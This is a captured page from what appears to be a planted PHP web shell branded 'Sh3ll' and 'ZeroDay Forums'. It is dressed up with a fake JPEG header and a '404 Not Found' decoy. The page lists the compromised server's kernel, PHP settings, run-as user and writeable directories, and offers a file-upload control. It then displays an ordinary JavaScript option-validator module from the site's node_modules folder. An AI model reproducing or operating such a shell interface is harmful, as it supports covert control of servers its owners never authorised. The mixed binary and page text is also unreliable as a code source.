����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/layout/js/node_modules/option-validator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/video/layout/js/node_modules/option-validator/index.js
import kindOf from 'kind-of';

function optionValidator(option, scheme, paths = ['option']) {
  checkType(option, scheme, paths);
  checkValidator(option, scheme, paths);
  checkChild(option, scheme, paths);
  return option;
}

function checkChild(option, scheme, paths) {
  const schemeType = kindOf(scheme);
  const optionType = kindOf(option);
  if (schemeType === 'object') {
    if (optionType === 'object') {
      Object.keys(scheme).forEach((key) => {
        const childOption = option[key];
        const childScheme = scheme[key];
        const childPath = paths.slice();
        childPath.push(key);
        checkType(childOption, childScheme, childPath);
        checkValidator(childOption, childScheme, childPath);
        optionValidator(childOption, childScheme, childPath);
      });
    } else {
      throw new Error(`[Type Error]: '${paths.join('.')}' require 'object' type, but got '${optionType}'`);
    }
  }

  if (schemeType === 'array') {
    if (optionType === 'array') {
      option.forEach((_, key) => {
        const childOption = option[key];
        const childScheme = scheme[key] || scheme[0];
        const childPath = paths.slice();
        childPath.push(key);
        checkType(childOption, childScheme, childPath);
        checkValidator(childOption, childScheme, childPath);
        optionValidator(childOption, childScheme, childPath);
      });
    } else {
      throw new Error(`[Type Error]: '${paths.join('.')}' require 'array' type, but got '${optionType}'`);
    }
  }
}

function checkType(option, scheme, paths) {
  if (kindOf(scheme) !== 'string') return;
  const optionType = kindOf(option);
  let result = false;
  if (scheme[0] === '?') {
    scheme = scheme.slice(1) + '|undefined';
  }
  if (scheme.indexOf('|') > -1) {
    result = scheme
      .split('|')
      .map((item) => item.toLowerCase().trim())
      .filter(Boolean)
      .some((item) => optionType === item);
  } else {
    result = scheme.toLowerCase().trim() === optionType;
  }
  if (!result) {
    throw new Error(`[Type Error]: '${paths.join('.')}' require '${scheme}' type, but got '${optionType}'`);
  }
}

function checkValidator(option, scheme, paths) {
  if (kindOf(scheme) !== 'function') return;
  const optionType = kindOf(option);
  const result = scheme(option, optionType, paths);
  if (result === true) return;
  const resultType = kindOf(result);
  if (resultType === 'string') {
    throw new Error(result);
  } else if (resultType === 'error') {
    throw result;
  } else {
    throw new Error(
      `[Validator Error]: The scheme for '${paths.join('.')}' validator require return true, but got '${result}'`
    );
  }
}

optionValidator.kindOf = kindOf;
export default optionValidator;

ZeroDay Forums Mini